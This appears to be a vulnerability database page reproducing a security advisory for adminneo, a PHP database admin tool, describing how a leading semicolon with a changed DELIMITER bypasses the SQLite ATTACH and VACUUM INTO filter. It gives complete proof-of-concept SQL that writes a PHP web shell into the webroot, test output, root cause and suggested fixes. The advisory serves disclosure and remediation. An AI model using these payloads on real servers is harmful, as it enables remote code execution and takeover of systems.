SchwachstellendatenbankGHSA-q5vv-mh5m-fxvm

GHSA-q5vv-mh5m-fxvm: 
PHP Schwachstellenanalyse und -minderung

Summary

The SQLite guard that blocks ATTACH and VACUUM ... INTO in the SQL command page can be bypassed with a leading semicolon. A logged-in user can therefore write a file to any path the web server can write to, and run code on the server. This is a new bypass of the same guard that was hardened for CVE-2026-96634 (ATTACH filter bypass, ZDI) and CVE-2026-96630 (VACUUM INTO). The guard now handles the preg_match() return value correctly and also covers VACUUM ... INTO, but both branches are still defeated.

Affected code

admin/sql.inc.php:149 on main (same check at admin/sql.inc.php:147 in v5.8.0):

if (DIALECT == "sqlite" && preg_match("~^$space*+(ATTACH|VACUUM\\b.*\\bINTO)\\b~is", $q, $match) !== 0) {

admin/sql.inc.php:65 defines what may precede the keyword:

$space = "(?:\\s|/\\*[\s\S]*?\\*/|(?:$line_comment)[^\n]*\n?|--\r?\n)";

$space covers whitespace, block comments and line comments. It does not cover ;.

Root cause

Three facts combine:

  1. The check is anchored with ^, so the blocked keyword must be the first token of the chunk $q.
  2. SQLite skips a leading ; as an empty statement and then compiles and runs the statement that follows. $space does not match ;, so the regular expression does not match.
  3. admin/sql.inc.php:89 lets the client change the statement delimiter with DELIMITER. The splitter then cuts chunks at that delimiter instead of ;, so a ; can appear at the start of a chunk. With the default delimiter a leading ; always ends its own chunk, so the keyword still starts the next chunk. After DELIMITER | the whole string ;ATTACH ... ;| becomes one chunk. The regular expression sees ; first and does not match. Connection::multiQuery() then passes the chunk to SQLite3::query(), which skips the ; and runs the ATTACH. The same bypass works through the SQL import form, because get_file("sql_file", true, ";") feeds the same loop.

Proof of concept

Log in to a SQLite connection, open the SQL command page, and run:

DELIMITER |
;ATTACH DATABASE '/var/www/html/pwn.php' AS pwn;|
CREATE TABLE pwn.t (c text);|
INSERT INTO pwn.t VALUES ('<?php echo "RCE-OK"; ?>');|

pwn.php is created and contains the text. Requesting it runs the PHP code. The SQLite file header is not valid PHP, but PHP ignores everything outside <?php ?>, so the payload still runs. This is the same final step as CVE-2026-96630. The VACUUM ... INTO branch falls to the same trick:

DELIMITER |
;VACUUM main INTO '/var/www/html/pwn2.php';|

Using the line comment token as the delimiter also works, and needs no trailing ;:

DELIMITER --
;ATTACH DATABASE '/var/www/html/pwn3.php' AS pwn--

Measured evidence

I could not serve the application in my sandbox, so I drove the vulnerable path with a harness that copies the splitter and the guard from admin/sql.inc.php (lines 65, 80, 89-150) without changes, against a real SQLite3 connection on PHP 8.5.12. Each chunk is printed with the guard's verdict.

--- baseline (plain ATTACH) ---
  [BLOCKED] "ATTACH DATABASE '.../webroot/a.php' AS pwn;"
  => no file
--- baseline (plain VACUUM INTO) ---
  [BLOCKED] "VACUUM main INTO '.../webroot/b.php';"
  => no file
--- bypass A: DELIMITER | + leading ; ---
  [ALLOWED] ";ATTACH DATABASE '.../webroot/c.php' AS pwn;|"
  => FILE WRITTEN (0 bytes)
--- bypass B: DELIMITER --  ---
  [ALLOWED] ";ATTACH DATABASE '.../webroot/d.php' AS pwn--"
  => FILE WRITTEN (0 bytes)
--- bypass C: VACUUM INTO ---
  [ALLOWED] ";VACUUM main INTO '.../webroot/e.php';"
  => FILE WRITTEN (4096 bytes)
--- full chain: arbitrary PHP file write ---
  [ALLOWED] ";ATTACH DATABASE '.../webroot/shell.php' AS pwn;|"
  [ALLOWED] "CREATE TABLE pwn.x (c text);|"
  [ALLOWED] "INSERT INTO pwn.x VALUES ('<?php echo "RCE-OK:", PHP_VERSION; ?>');|"
  => shell.php written (8192 bytes)
  => executing it as PHP would print: SQLite format 3 [...] RCE-OK:8.5.12

The baselines confirm the guard works against the direct form. The last line is the written file run through the PHP interpreter. It printed RCE-OK:8.5.12, so the file holds code that the attacker chose. I also checked the engine behavior on its own:

sqlite3: plain ATTACH                 ret=true  FILE=CREATED
sqlite3: SELECT 1; ATTACH             ret=true  FILE=-
sqlite3: leading semicolon ATTACH     ret=true  FILE=CREATED
sqlite3: ;;ATTACH                     ret=true  FILE=CREATED
sqlite3: leading ; + newline          ret=true  FILE=CREATED

SQLite3::query() runs only the first statement, so a second statement after ; is not a route. A leading ; is. Please confirm on a live instance through the UI. The payloads above are the complete input for the SQL command textarea.

Versions checked

  • main at commit d3f73e467fc8304ca65ed440f5c7c829cdaa6aa9 (VERSION = "5.8.1-dev"), guard at line 149.
  • Release v5.8.0, guard at line 147, DELIMITER handling at line 89. The regular expression is byte for byte the same. Both are in the supported set named in docs/security.md.

Preconditions

A user who can log in and reach the SQL command page on a SQLite connection. The web server process must be able to write to the chosen path. This is the same position as CVE-2026-96634 and CVE-2026-96630.

Severity

I suggest medium, to match your rating of CVE-2026-96634, although the result is code execution on the server. Please rate it as you see fit.

Suggested fix

A deny list in front of the SQLite parser has now failed three times, so I suggest removing the need for it:

  1. Open the SQLite connection with SQLITE_DBCONFIG_DEFENSIVE and, more to the point, use sqlite3_db_config(db, SQLITE_DBCONFIG_ENABLE_ATTACH_WRITE, 0, 0) if the extension exposes it. This stops the write at the engine.
  2. If the check must stay in PHP, do not try to find the first keyword with a regular expression. Strip leading ; as well as whitespace and comments in a loop until the text does not change, then test the keyword. Note that a plain ; is not the only form; $space also needs to keep its current alternatives.
  3. Reject DELIMITER when DIALECT == "sqlite", since SQLite has no stored programs that need it. This removes the step that lets a ; reach the start of a chunk, and is a small change on its own. Point 2 alone fixes the reported input. Point 1 is the durable fix.

Quelle: NVD

Verwandte Themen PHP Schwachstellen:

CVE-ID

Schwere

Punktzahl

Technologieen

Bauteilname

CISA KEV-Exploit

Hat Lösung

Veröffentlichungsdatum

GHSA-25rf-99hr-7pmrHIGH8.1
  • PHP logoPHP
  • codeigniter4/framework
NeinJaNov 01, 2026
GHSA-rgjx-wcgv-pw7gHIGH7.5
  • PHP logoPHP
  • adminneo-org/adminneo
NeinJaNov 01, 2026
GHSA-ggh8-3chg-48w7HIGH7.2
  • PHP logoPHP
  • adminneo-org/adminneo
NeinJaNov 01, 2026
GHSA-g478-vjq4-75hfMEDIUM5.3
  • PHP logoPHP
  • mage-os/module-blog
NeinJaNov 02, 2026
GHSA-q5vv-mh5m-fxvmMEDIUMN/A
  • PHP logoPHP
  • adminneo-org/adminneo
NeinJaNov 01, 2026

Kostenlose Verwundbarkeitsbewertung

Benchmark für Ihre Cloud-Sicherheitslage

Bewerten Sie Ihre Cloudsicherheitspraktiken in 9 Sicherheitsbereichen, um Ihr Risikoniveau zu bewerten und Schwachstellen in Ihren Verteidigungen zu identifizieren.

Anforderungsbewertung

Zusätzliche Wiz-Ressourcen

Eine personalisierte Demo anfordern

Sind Sie bereit, Wiz in Aktion zu sehen?

"Die beste Benutzererfahrung, die ich je gesehen habe, bietet vollständige Transparenz für Cloud-Workloads."
David EstlickCISO
"„Wiz bietet eine zentrale Oberfläche, um zu sehen, was in unseren Cloud-Umgebungen vor sich geht.“ "
Adam FletcherSicherheitsbeauftragter
"„Wir wissen, dass, wenn Wiz etwas als kritisch identifiziert, es auch wirklich kritisch ist.“"
Greg PoniatowskiLeiter Bedrohungs- und Schwachstellenmanagement